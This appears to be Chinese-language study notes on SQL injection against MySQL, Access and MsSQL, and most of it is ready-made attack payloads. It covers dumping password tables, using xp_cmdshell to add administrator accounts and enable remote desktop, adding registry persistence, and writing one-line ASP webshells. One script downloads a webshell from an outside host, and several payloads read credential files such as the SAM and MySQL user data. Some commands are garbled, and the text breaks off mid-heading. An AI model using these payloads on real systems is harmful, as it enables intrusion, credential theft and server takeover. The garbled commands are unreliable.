- 注入原理:
- 1、尋找注入點的方式或注入的地方可能包括。
- 2、注入點判斷方法。
- 3、注入分類。
- 4、注入提交方式。
- 5、注入攻擊類型與方式。
- 6、Access數據庫注入
- 7、SQL注入中的高級查詢——order by與union select使用
- 8、MsSQL數據庫高級查詢所帶來的注入威脅
- 9、利用MsSQL擴展存儲注入攻擊
- 10、MySQL數據庫注入:
注入原理:
注入產生的原因是接受相關參數未經處理直接帶入數據庫查詢操作
(有數據庫的地方一定有注入,注意下面的報錯)
1、尋找注入點的方式或注入的地方可能包括。
與數據庫交互的頁面,如:帶xxx?id=xx
登錄、更新、注冊、留言板、驗證等等
在數據包中可能出現的地方:http頭、cookies、referer、user、agent、post提交數據包的地方等等。
2、注入點判斷方法。
* 單引號法:即直接在瀏覽器地址欄中的網址鏈接后加上一個單引號,如果頁面不能正常顯示,且瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
* 1=1和1=2法:很多時候檢測提交包含單引號的鏈接時,會提示非法字符,或者直接不返回任何信息,但這並不等於不存在SQL注入漏洞。此時可使用經典的“1=1和1=2”法進行檢測。方法很簡單,就是直接在鏈接地址后分別加上and 1=1和and 1=2進行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。
3、注入分類。
數字型:
即不需要任何符號就能帶入數據庫中進行查詢,其實際本質語句(or 1=1-- )
注釋后面的內容可以省略
select * from admin where id=1 or 1=1--' and user='admin';
字符型:
即不再是直接的數字而是接入了字符串進行語句的查詢,其實際本質(string' or 1=1 # ')注釋后面的內容可以省略
select * from Admin where name='test' or 1=1#' and passWord='wad';
搜索型:
所謂搜索型注入也叫模糊查詢,在SQL中的實際語句為:(%xxxx%'or 1=1 #%')
注釋后面的內容可以省略
select * from admin where name like '%xxx%';
XX型(也叫其他型):
也就是由於SQL語句拼接方式不同,在SQL中的實際語句為:,其本質為(xx') or 1=1 # )
select * from admin where name=('xx') or 1=1;
4、注入提交方式。
get提交:一般直接通過瀏覽器地址欄提交
post提交:可通過安裝插件(hackbar)或Burp工具來完成
cookie提交:一般通Burp工具來完成
5、注入攻擊類型與方式。
請注意請求頭,任何參數都可能存在注入(取決於程序員的代碼編寫)
主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函數報錯、寬字節注入、二次注入、偏移注入等
union注入:
union操作符用於合並兩個或多個SQL語句集合起來,得到聯合的查詢結果
----通過order by來查詢字段:依據返回結果判斷字段長度
(如:a' order by 1 #%)
----然后通過函數可以爆出數據庫對應的內容
(如:a' union select database(),user(),version() #% )
information_schema注入:
information_schema數據庫是MySQL系統自帶的數據庫。其中保存着關於MySQL服務器所維護的所有其他數據庫的信息。大概是5.0以上才有,4.0一般沒有(注入的時候這種方式最快,系統自帶)
----先找出數據庫的名稱。(如:vince' union select database(),user(),3#%)
----再獲取數據庫的表名。(如:a' union select table_schema,table_name,3 from information_schema.tables where table_schema='表名'#)
----再獲取數據庫字段名。(如:k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #%)
----最后獲取字段內容。(如:kobe' union select username ,password,3 from users#%)
基於函數報錯注入:
- 一般來說是有兩類即基於updatexml()注入和extractvalue()注入,而像我們常見的select/insert/update/delete注入都可以使用報錯方式來獲取信息也都屬於updatexml()注入一類。
----產生的要求:后台沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端
----updatexml():函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數.
規則:UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
----extractvalue() :函數也是MYSQL對XML文檔數據進行查詢的XPATH函數
----floor():MYSQL中用來取整的函數.
----實戰舉例:
爆數據庫版本信息:k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
爆數據庫當前用戶:k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆數據庫:k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)# 但是反饋回的錯誤表示只能顯示一行,所以采用limit來一行一行顯示
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的數字limit 0完成表名遍歷
爆字段:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
爆字段內容:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#(返回結果為連接參數產生的字符串。如有任何一個參數為NULL ,則返回值為 NULL。通過查詢@@version,返回版本。然后CONCAT將其字符串化。因為UPDATEXML第二個參數需要Xpath格式的字符串,所以不符合要求,然后報錯。)
insert注入:
就是前端注冊的信息最終會被后台通過insert這個操作插入數據庫,后台在接受前端的注冊數據時沒有做防SQL注入的處理,導致前端的輸入可以直接拼接SQL到后端的insert相關內容中,導致了insert注入。
例子:
oldboy
'or updatexml(1,concat(0x7e,(命令)),0) or' 爆表名:oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
爆列名:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆內容:
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同 ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update注入:
與insert注入的方法大體相同,區別在於update用於用戶登陸端,insert用於用於用戶注冊端。一般登錄網站前台或后台更新用戶信息的地方,填寫用戶需要修改相關信息,通過Burp抓包在用戶名輸入相關payload,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
delete注入:
一般應用於前后端發貼、留言、用戶等相關刪除操作,點擊刪除按鈕時可通過Brup Suite抓包,對數據包相關delete參數進行注入,格式如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
Http Header注入:
即登錄的GET數據包的User-Agent中存在注入,驗證的方法就像刪除User-Agent的信息,然后一個單引號判斷是否回顯數據庫報錯,如果保存那么就存在注入,注入語句如:
Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
Cookie注入:
Cookie是網站為了識別用戶身份來跟蹤會話的,雖然Cookie是由后端生成的,但每次頁面跳轉,后端都回對前端的Cookie的信息進行驗證,但如果后端獲取Cookie后放在數據庫中進行拼接,那么這也將是一個SQL注入點。(也就是程序員開發的時候將cookie也保存在了數據庫中),那么方法:在注入點后面加入一個單引號觀察是否mysql語法保存,如果報錯,那么就存在注入點,語法如下:
'and updatexml (1,concat(0x7e,database()),0)#
SQL盲注:
在我們的注入語句被帶入數據庫查詢但卻什么都沒有返回的情況我們該怎么辦?例如應用程序就會返回一個“通用的”的頁面,或者重定向一個通用頁面(可能為網站首頁)。這時,我們之前學習的SQL注入辦法就無法使用了。
盲注,即在SQL注入過程中,SQL語句執行選擇后,選擇的數據不能回顯到前端,我們需要使用一些特殊的方法進行判斷或嘗試,這個過程稱為盲注。
1、基於布爾型
情景模式:采用and的方法通過返回正確或錯誤來構造語句注入發現這條思路已經不再適用,那么輸入語句
select ascii(substr(database(),1,1))>xx;
通過對比ascii碼的長度,判斷出數據庫表名的第一個字符。注:substr()函數
substr(string,start,length)
string(必需)規定要返回其中一部分的字符串。start(必需)規定在字符串的何處開始。length(可選)規定被返回字符串的長度。
構造語句,如果返回1,那么就會爆出選擇的信息,返回0,就會返回 您輸入的username不存在! 實例:vince' and ascii(substr(database(),1,1))=112#
通過這個方法,就能得到后台數據庫的名稱的第一個字符的ascii碼。同之前的辦法,我們也可以獲得information_schema.tables里的數據
2、基於時間型
- 情景模式:當布爾盲注不再適用,那么可通過發現后端的執行時間來進行注入,如:
vince' and sleep(x)#
主要是以布爾報錯為模板,拼接字符和時間構成語句,其基於時間響應的變化來判斷字符是什么。
基於時間的延遲,構造一個拼接語句:vince' and if(substr(database(),1,1)='X' (猜測點)',sleep(10),null#,輸入后,如果猜測真確,那么就會響應10秒,如果錯誤會立刻返回錯誤。
輸入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判斷出database的表名的一個字符為p。
基於時間盲注的一般思路是延遲注入,說白了就是利用sleep()或benchmark()等函數讓mysql執行時間變長並結合判斷條件語句if(expr1,expr2,expr3),然后通過頁面的響應時間長短來判斷語句返回的值是TRUE還是False,從而猜解一些未知的字段。
注入流程(以獲取數據庫版本信息為例):
1 確定注入點及注入類型
2 使用if判斷語句,猜測version()的長度並用sleep函數作為判斷依據
3 重復步驟2直至獲取真正長度
4 使用if判斷語句,猜測version()的第一個字符的ascii碼並使用sleep函數作為判斷依據構造注入語句,
5 重復步驟4,直至獲取全部長度的版本字符的ascii碼
3、基於報錯型
寬字節注入:
說明:當我們把php.ini文件里面的magic_quotes_gqc參數設為ON時,所有的'(單引號),"(雙引號),(反斜杠)和null字符都會被自動加上一個反斜杠進行轉義。還有很多函數有類似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影響。目前大多數的主機都打開了這個選項,並且很多程序員也注意使用上面那些函數去過濾變量。
原理解釋:
其中\的URL編碼是 %5C ,當我們在單引號前面加上%df的時候,最終就會變成 運',如果程序的默認字符集是GBK等寬字節字符集,則MYSQL用GBK的編碼時,會認為 %df 是一個寬字符,也就是運,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。
' =======>'單引號轉義后占兩個字節,所以我們需要通過繁體字%df構造兩個字節,最終用運干掉了\,也就是說被運占領了\ 所以最后在頁面也不會顯示出來.
小提示: 數字和字母占一個字節,漢字占兩個字節。
總結:即如果存在字符過濾,那么就可以考慮在注入語句加入之前添加一個
%df
用來占位,使我們的單引號能夠繼續有效。注意:寬字節空格、#如果被URL編碼了,可能造成不能成功。所以最好是放在抓包工具中進行。
哪些地方沒有魔術引號的保護?
(1) $_SERVER 變量
PHP5的$_SERVER變量缺少magic_quotes_gqc的保護,導致近年來Forwarded-For的漏洞猛爆,所以很多程序員考慮過濾X-Forwarded-For,但是其它的變量呢?
(2)getenv()得到的變量(使用類似$_SERVER 變量)
(3)$HTTP_RAW_POST_DATA與PHP輸入、輸出流
6、Access數據庫注入
SQL Server有一些系統變量和系統表,如果服務器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,可以直接從出錯信息中獲取判斷數據庫的類型。
Access數據庫的擴展名為.mdb但有些開發人員也會將其改為.asp擴展名
1、爆出數據庫類型
1.1 內置變量爆數據庫類型
“User”是SQL Server的一個內置變量,它的值是當前連接的用戶名,其變量類型為“nvarchar"字符型。通過提交查詢該變量,根據返回的出錯信息即可得知數據庫類型。方法是在注入點之后提交如下語句。
xxx' and user>0 #--
該查詢語句會將user對應的nvarchar型值與int數字型的0進行對比,兩個數據類型不一致,因此會返回出錯信息。
1.2 內置數據表爆數據庫類型
如果服務器IIS不允許返回錯誤提示,通常可以通過數據庫內置的系統數據表來進行判斷。在注入點后提交如下查詢語句。
and (select count(*) from sysobjects)>=0 #-- and (select count(*) from msysobjects)>=0#--
Access存在系統表[msysobjects],不存在“sysobjects”表。因此如果數據庫采用的是Access,會返回如下提示錯誤信息
2、猜數據庫表名
可在注入點后提交如下語句進行查詢。
and exists(select * from 數據庫表名 )
或者
and (select count(*) from 數據庫表名 )>=0
上面的語句是判斷數據庫中是否存在指定數據庫表名。如果頁面返回出錯,那么可更換其他常見數據庫表名繼續進行查詢。
3、猜字段名及字段長度
可在注入點后提交如下語句查詢。
and exists(select 字段名 from 數據庫表名 )
或者
and (select count(字段名) from 數據庫表名 )>=0
如果存在此字段名,返回頁面正常,否則可更換字段名繼續進行猜測。
猜解字段長度,可提交如下查詢語句。
當提交>n-1時正常,而提交到>n時返回出錯,那么說明字段長度為n。
and (select top 1 len(字段名) from 數據庫表名 )>1
and (select top 1 len(字段名) from 數據庫表名 )>2
…
and (select top 1 len(字段名) from 數據庫表名 )>n-1
and (select top 1 len(字段名) from 數據庫表名 )>n
當提交>n-1時正常,而提交到>n時返回出錯,那么說明字段長度為n。
4、猜字段值
猜字段的ascii值,可在注入點后提交如下查詢語句。
and (select top 1 asc(mid(字段名,1,1)) from 數據庫表名 )>0
and (select top 1 asc(mid(字段名,1,1)) from 數據庫表名 )>1
…
and (select top 1 asc(mid(字段名,1,1)) from 數據庫表名 )>n-1
and (select top 1 asc(mid(字段名,1,1)) from 數據庫表名 )>n
當提交>n-I時正常,而提交到>n時返回出錯,那么說明字段值的ASCII碼為n。反查ASCII碼對應的字符,就可得到字段值的第一位字符。再繼續提交如下查詢。
and (select top 1 asc(mid(字段名,2,1)) from 數據庫表名 )>0
用與上面相同的方法,可得到第二位字符。再繼續進行查詢,直接猜解出字段的所有字符值為止。
7、SQL注入中的高級查詢——order by與union select使用
ASCII碼猜解法很浪費時間,下面介紹一種高效率的方法一一order by與union select聯合查詢,可以快速地獲得字段長度及字段內容。這種查詢方法,不僅可以利用在Access數據庫猜解中,必須掌握的方法。同樣也可以利用在其他類型數據庫的注入猜解中,是一種非常重要,而且必須掌握的方法。
order by猜字段數目
order by n
如果n-1時返回正常,n時返回錯誤,那么說明字段數目為n
union select爆字段內容
得到字段長度后,就可利用union select查詢獲得字段內容了。 and 1=2 union select1, 2, 3...., n from 表名 執行上面的查詢時,在頁面中會返回數字,修改查詢語句中的數字為字段名,例如提交如下代碼。 and 1=2 union select1, 字段1, 字段2...., n from 表名 在頁面中就會返回字段內容,不必一個一個進行猜解了。
union select查詢攻擊測試
and 1=2 union select 1,user_name,password,4,5,6,7 from administrator 在頁面返回信息中,立即獲得了user_name和password字段的值
跨庫查詢注入
設a和b兩個站點在同一服務器上面,但服務器上面安裝了安全狗、Waf這樣的安全軟件,現在我們要對a站點進行攻擊,但是沒發現什么大漏洞,只找到網站數據庫路徑,對數據庫下載發現下載不了。這個時候我發現b站點有注入點。直接用
http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
8、MsSQL數據庫高級查詢所帶來的注入威脅
對MsSQL的注入,可采用與Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接實施危害性極大的攻擊,或者使用一些高級查詢語句,快速得到表名和字段名等數據內容。
mssql也是微軟的
1.1 MsSQl注入點的基本檢測
在進行MsSQL注入點攻擊時,首先要對MsSQL注入點進行一下基本的注入檢測,以確定后面的攻擊實施方案。
1.2 注入點類型的判斷
首先,判斷是否是MsSQL注入點,可提交如下查詢.
and exists (select * from sysobjects)
頁面返回正常,則說明為MsSQL注入點。
1.3 注入點權限判斷
再檢測一下當前用戶的數據庫操作權限,提交如下查詢
and 1=(select IS_SRVROLEMEMBER('sysadmin')) and 1=(select is_srvrolemember('db_owner')) and 1=(select is_srvrolemember('public'))
如果上面的第一條查詢返回正常頁面,則說明當前數據庫用戶具有sa權限,可直接利用擴展存儲進行攻擊。
sa為數據庫用戶中最高權限,而且默認也是系統權限,有了系統權限,對服務器安全威脅是相當高的。如果數據庫與Web服務器是同一個服務器,默認情況下攻擊者就可以通過MsSQL自帶的存儲過程對整個服務器進行控制。
如果頁面返回出錯,則說明不具備sa權限,可用另外兩條語句判斷其權限。如果權限不足,可通過注入點猜解數據庫內容獲得管理員賬號。
DB_OENER權限的話,我們可以找到WEB的路徑,然后用備份的方式得到webshell,有時也可以對注冊表進行操作。PUBLIC權限的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這里是“暴”表,使目標直接暴出來。
1.4 MsSQL返回信息判斷
再提交如下查詢。
and @@version>0
從頁面返回的錯誤信息中,可以得到數據庫版本信息。如果頁面出錯,但未返回可利用的信息,則說明MsSQL關閉了錯誤信息提示,在猜解數據庫內容時,就不能用爆庫的方法了,只能使用union select聯合查詢或盲注入攻擊方法。
此外,還可以進行如下查詢檢測,以獲得更多的關於MsSQL注入點的信息。
;declare @d int // 判斷MsSQL支持多行語句查詢 and (select count (1) from [sysobjects])>=0 //是否支持子查詢 and user>O //獲取當前數據庫用戶名 and db_name>0 //獲取當前數據庫名稱 and l=convert (int,db_name ()) 或 1=(select db_name ()) //當前數據庫名 and 1=(select @@servername) //本地服務名 and 1=(Select HAS_DBACCESS ('master')) //判斷是否有庫讀取權限
9、利用MsSQL擴展存儲注入攻擊
擴展存儲過程是MsSQL提供的特殊功能。所謂“擴展存儲過程”,其實就是一個普通的Windows系統DLL文件,按照某種規則實現了某些函數功能.MsSQL利用擴展存儲可以實現許多強大的功能,包括對系統進行操作.利用這個特性,在實施MsSQL注入攻擊時,可以更容易地對系統進行控制。
檢測與恢復擴展存儲
提交如下查詢進行檢測。
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
可查看xp_cmdshell擴展存儲過程是否被刪除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')
可查看xp_regread擴展存儲過程是否被刪除。
如果擴展存儲被刪除,可執行如下查詢進行恢復。
;exec sp_dropextendedproc 'xp_cmdshell'
上面這條查詢語句,是在恢復前先刪除xp_cmdshell,以后再在后面重新進行創建,然后執行如下查詢。
;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
該語句是利用系統中默認的“xplog70.dll”文件,自動恢復xp_cmdshell
如果恢復不成功,說明該文件被改名或刪除,可以上傳一個“xplog70.dll”文件,自定義路徑進行恢復。例如,執行如下查詢語句。
;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
攻擊中最常利用的擴展存儲
在SQL注入攻擊過程中,最常利用到的擴展存儲有如下幾個。
xp_cmdshell—利用此存儲過程可以直接執行系統命令。
xp_regread—利用此存儲過程可以進行注冊表讀取。
xp_regwrit一利用此存儲過程可以寫入注冊表。
xp_dirtre一利用此存儲過程可以進行列目錄操作。
xp_enumds—利用此存儲過程可以進行ODBC連接。
xp_loginconfig-利用此存儲過程可以配置服務器安全模式信息。
xp_makecab一一利用此存儲過程可以創建壓縮卷。
xp_ntsec_enumdomains-利用此存儲過程可以查看domain信息。
xp_terminate_jroces一利用此存儲過程可以查看終端進程,給出一個進程PID.
結合上面的這些擴展存儲,通過提交精心構造的查詢語句,可利用擴展存儲的強大功能進行攻擊。
SA權限下擴展存儲攻擊利用方法
1.xp_cmdshell擴展執行任意命令
利用xp_cmdshell可執行命令,例如提交如下查詢,可查看服務器C盤目錄。
;exec master..xp_cmdshell 'dir c:\'
最常見的利用方法是直接添加管理員賬號,利用遠程終端進行登錄控制。
;exec master..xp_cmdshell 'net user test/add' exec master..xp_cmdshell 'net locaigroup administrators test/add'
執行上面的查詢,即可添加一個用戶名和密碼都為test的管理員賬號。然后可以利用命令打開3389遠程終端連接,並修改終端連接端口號。
;exec master..xp_cmdshell 'sc config termservice start = auto' ;exec master..xp_cmdshell 'net start termservice' ;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允許外部連接 ;exec master..xp_cmdshell 'reg add " HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改端口到80
事實上,只要可以執行系統命令,幾乎任意的攻擊操作都可在此基礎上實現進行。
2.xp_regwrite操作注冊表與開啟沙盒模式
在sa權限下可以調用xp_regwrite寫入注冊表,查詢語句如下。
;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user test test /add'
這里是寫入注冊表啟動項,系統啟動后就會執行“net user test westone”命令,從而在服務器上添加一個test賬戶。當服務器重新啟動登錄時,就會自動執行命令添加指定的賬戶。
還可以利用xp_regwrite來開啟沙盒模式,從而執行系統命令。
首先開啟沙盒模式,在注入點處提交如下查詢。
execmaster..xp regwrite 'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',1
然后利用jet.oledb執行如下系統命令。
select * from openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')
注意,如果注入點的參數是integer數字型,就可指定“ias.mdb”數據庫;如果是string字符型,則可指定連接dnary.mdb.如果是Windows 2000系統,數據庫的路徑應該指定為:"x:\winnt\system32\ias\ias.mdb"
3.利用sp_makewebtask寫入一句話木馬
sa權限可以通過sp_makewebtask,創建一項生成HTML文檔的任務,該文檔包含執行過的查詢返回的數據。在入侵測試的過程中,可以利用sp_makewebtask擴展存儲來將一句話木馬寫入到服務器磁盤中的Web目錄下,從而獲得對服務器的控制權限。
在寫入一句話木馬前,首先需要將一句話木馬轉換成URL格式。然后執行如下查詢。
exec sp_makewebtask 'c:\inetpub\wwwroot\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
4.利用sp_oacreate存儲遠程下載文件
sa權限下還可以調用sp_oacreate存儲過程來完成更多功能,例如遠程下載文件到服務器上,從而間接獲得一個WebShell.
這里可以將一個WebShell文件上傳到某個網站空間中,假設文件鏈接地址如下。
在注入點處提交如下查詢。
DECLARE @B varbinary(8000),@hr int,
@http INT,@down INT EXEC sp_oacreate
(Microsoft.XMLHTTP],@http output EXEC
@hr = sp_oamethod @http,[Open],null,[GET],
[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_
OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down
output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC
[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -
即可下載文件“http://www.test.con/test.txt”的內容到
“c:\inetpub\wwwroot\WebShell.asp"成功寫入一個WebShell.
5.sp_addlogin擴展管理數據庫用戶
如果要添加和刪除一個sa權限的數據庫用戶,可執行如下查詢。
exec master.dbo.sp_addlogin test,password exec masterdbo.sp_addsrvrolemember test,sysadmin
6.xp_servicecontrol管理服務
要停掉或激活某個服務,可利用xp_servicecontrol擴展執行查詢。
;exec master..xp_servicecontrol 'stop','schedule' ;exec master..xp_servicecontrol 'start','schedule' ;exec master..xp servicecontrol 'start','server'
此外,通過擴展存儲,還可以進行差異備份寫入WebShell,設置數據庫允許遠程連接等各種危險的操作。
dbowner權限下的擴展攻擊利用
當數據庫連接賬戶為dbowner權限時,無法直接利用擴展存儲執行各種系統命令,進行攻擊的過程比較煩瑣。
當注入點為dbo權限時,通常首先利用xp_dirtree擴展存儲列出Web目錄,然后利用SQL語句創建一個臨時表,插入一句話木馬到臨時表中。然后利用數據庫備份語句,將數據庫備份到Web目錄並保存為ASP格式的文件,即可得到一個一句話木馬后門。最后利用一句話木馬客戶端連接后門,得到WebShell后就可以控制整個服務器了。
(sa權限能夠恢復xp_cmdshell執行系統命令,而dbowner權限執行不了操作系統命令)
(如果是dbowner權限,
那么需要找出網站路徑,方式:找出一個文件,通過找出的文件索引列出目錄路徑,
將一句話寫入到網站的目錄路徑下(差異備份情況:可能出問題),
然后連接后執行系統命令
)
1.判斷數據庫用戶權限
首先,需要判斷當前數據庫用戶是否為db_owner權限。
在注入點后執行如下查詢。
and 1=(SELECT IS_MEMBER('db_owner'));--
如果頁面返回正常,說明的確是db_owner權限
2.搜索Web目錄
當Web服務器與數據庫在同一服務器主機上時,就可以備份一句話木馬到Web目錄了。但是在備份一句話木馬前,首先需要搜索Web目錄,可通過如下幾個步驟實現。
首先,執行如下查詢。
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
該語句可創建一個臨時表,一共4個字段,前三個字段用於存放執行存儲過程xp_dirtree返回的結果,ID字段則方便查詢指定內容。
然后執行如下查詢。
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree擴展查詢,將指定目錄的文件和文件夾名稱插入到臨時表中,這里查詢的是C盤目錄路徑。
再執行如下查詢。
and (select dir from temp where id=1)>0
語句是查詢臨時表中的內容,也就是指定的目錄文件和文件夾名。由於不能一次性獲取所有目錄文件和文件夾名,因此需要更改ID的值,依次列出文件和文件夾來。
通過此方法,可以遍歷所有盤符,從而找到Web目錄路徑。
3.獲取數據庫用戶名
直接輸入如下:
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--
4.寫入一句話木馬
找到Web目錄后,就可以寫入一句話木馬了。
在注入點后依次執行如下語句。
http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
執行完畢后,就會在指定的Web目錄下生成一個名為“yjh.asp”的后門文件,用一句話木馬客戶端連接即可得到WebShell
public權限下的擴展攻擊利用
注:需要在低版本的瀏覽器中或者瀏覽器需要啟動報錯回顯
1、獲取當前網站數據庫名稱
and db_name()=0--
2、獲取mssql所有數據庫名和路徑
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
3、獲取當前數據庫所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
4、爆表名及字段名
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
5、獲取字段內容
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
10、MySQL數據庫注入:
1、Mysql4和5之間的區別:
Mysql4中低版本數據庫存在着字符轉義與不支持語句查詢的情況,因此在這個基礎上進行注入攻擊存在着很的大局限性,只能采用類似access的方法進行猜解查詢。
1、即首先,利用order by獲得當前表的字段數,再使用union select聯合查詢來獲取想要的數據庫信息。使用union select聯合查詢數據庫時,由於不知道數據庫中的表名與字段名,因此只能像Access一樣直接用常見表名和字段名進行猜測判斷。
MySQL 5版本由於information_schema庫的存在,注入攻擊相對來說方便了許多,
2、通過load_file()函數來讀取腳本代碼或系統敏感文件內容,進行漏洞分析或直接獲取數據庫連接賬號、密碼。
3、通過dumpfile/outfile函數導出獲取WebShell。
2、mysql用戶名密碼存儲位置
數據庫最高權限用戶是root 密碼保存在mysql數據庫的user表中,密碼是采用mysql5特有的加密,通過cmd5網站進行解密或通過cain等這類專業可以對mysql hash破解.所以對數據庫做安全的時候無論如何不能給網站root 權限,一定要給一個普通用戶權限。
3、mysql注入語句(示例)
-
檢查注入點
' 與and 1=1 and 1=2
- 如果報錯,那么就存在注入點
-
字段個數判斷
' order by 1,2--+&Submit=Submit#
- 當知道有注入點時,通過order by來判斷這個數據庫中有幾個字段(知曉有兩個字段)
-
查看數據庫用戶名和版本、庫名(dvwa)
'union select user(),version()--+&Submit=Submit#
當知曉有幾個字段后,嘗試着利用user()和version()函數直接爆出數據庫用戶名和版本、庫名(dvwa)。
-
獲取mysql所有庫(一時興起)
前面獲取了dvwa庫,但並不滿足於此,所以我們會利用函數爆出所有的數據庫,而這里確實是mysql5版本的,那么就會擁有information_schema庫,那么我們就通過這個庫的函數來獲取我們的最終目標。
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit#
-
獲取dwva庫的表名(目標)
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit #
-
獲取所有user表里面的字段
-
table_name=0x7573657273 不轉成十六進制也可以
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#
-
獲取所有字段內容
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit#
-
對服務器文件進行讀寫操作(前提條件)
1、需要知道遠程目錄
2、需要遠程目錄有寫權限
3、上傳目錄是否有腳本執行權限
4、需要數據庫開啟secure_file_priv 相當於secure_file_priv的值為空,不為空不充許寫入webshell (默認不開啟,需要修改my.ini配置文件,添加:secure_file_priv='')當這個關鍵點啟動了,才能執行獲取webshell等操作
-
獲取web路徑的方法
1、 路徑記得轉化為十六進制
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit #
2、常見WINDOWS下配置文件
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
3、LUNIX/UNIX 下
